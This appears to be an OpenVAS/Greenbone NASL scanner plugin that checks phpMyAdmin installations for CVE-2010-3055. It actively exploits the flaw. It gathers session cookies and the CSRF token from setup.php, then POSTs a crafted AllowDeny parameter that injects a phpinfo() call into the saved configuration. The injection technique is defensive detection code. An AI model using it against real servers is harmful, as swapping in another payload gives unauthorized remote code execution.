phpMyAdmin 'CVE-2010-3055' Configuration File PHP Code Injection Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:phpmyadmin:phpmyadmin";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100760");
  script_version("2025-01-31T05:37:27+0000");
  script_cve_id("CVE-2010-3055");
  script_tag(name:"last_modification", value:"2025-01-31 05:37:27 +0000 (Fri, 31 Jan 2025)");
  script_tag(name:"creation_date", value:"2010-08-30 14:30:07 +0200 (Mon, 30 Aug 2010)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("phpMyAdmin 'CVE-2010-3055' Configuration File PHP Code Injection Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("gb_phpmyadmin_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("phpmyadmin/http/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/42591");
  script_xref(name:"URL", value:"http://www.phpmyadmin.net/home_page/security/PMASA-2010-4.php");

  script_tag(name:"summary", value:"phpMyAdmin is prone to a remote PHP code injection
  vulnerability.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to inject and execute
  arbitrary PHP code in the context of the webserver process. This may facilitate a compromise of
  the application and the underlying computer. Other attacks are also possible.");

  script_tag(name:"affected", value:"Versions prior to phpMyAdmin 2.11.10.1 are affected.");

  script_tag(name:"solution", value:"Vendor updates are available. Please see the references for
  more information.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("version_func.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!infos = get_app_version_and_location(cpe:CPE, port:port, exit_no_version:FALSE))
  exit(0);

vers = infos["version"];
dir = infos["location"];

if(vers) {
  if(!version_in_range(version:vers, test_version:"2.11", test_version2:"2.11.10")) {
    exit(0);
  }
}

if(!dir)
  exit(0);

host = http_host_name(port:port);

url = string(dir, "/scripts/setup.php");
buf = http_get_cache(item:url, port:port);

if(!buf || "<title>phpMyAdmin" >!< buf)
  exit(0);

if("Can not load or save configuration" >< buf) {
  report = http_report_vuln_url(port:port, url:url);
  report += string("\n\n", "The installed version (", vers, ") of phpMyAdmin under ", dir, " is affected, but the vulnerability could not be exploited at this time because the Webserver has no permission to write the configuration to the 'config' directory.\n\n");
  security_message(port:port, data:report);
  exit(0);
}

h = split(buf);

foreach r (h) {
  if (r =~ "^Set-Cookie") {
    if(!first_cookie) {
      cookies_string += ereg_replace(string: r, pattern: "^Set-Cookie", replace: "Cookie");
      cookies_string = chomp(cookies_string);
      first_cookie = TRUE;
    } else {
      cookies_string += ereg_replace(string: r, pattern: "^Set-Cookie:", replace: ";");
      cookies_string = chomp(cookies_string);
    }
  }
}

token = eregmatch(pattern:'input type="hidden" name="token" value="([^"]+)"', string:buf);
if(isnull(token[1]))exit(0);
token = token[1];

host = this_host() + '-' + rand();
php = "phpinfo()";

postdata = string("token=",token,"&action=addserver_real&host=",host,"&submit_save=Add&AllowDeny_order=1&AllowDeny[a][b]['.",php,".']=1");
req = string(
         "POST ", url, " HTTP/1.1\r\n",
         "Host: ", host, "\r\n",
          cookies_string, "\r\n",
         "Content-Type: application/x-www-form-urlencoded\r\n",
         "Content-Length: ", strlen(postdata), "\r\n",
         "\r\n",
         postdata
    );

res = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if("New server added" >!< res || host >!< res)exit(0);

postdata = string("token=",token,"&action=download");
req = string(
         "POST ", url, " HTTP/1.1\r\n",
         "Host: ", host, "\r\n",
          cookies_string, "\r\n",
         "Content-Type: application/x-www-form-urlencoded\r\n",
         "Content-Length: ", strlen(postdata), "\r\n",
         "\r\n",
         postdata
    );

res = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

if(string("$cfg['Servers'][$i]['AllowDeny']['order']['a']['b'][''.",php,".''] = '1';" >< res)) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);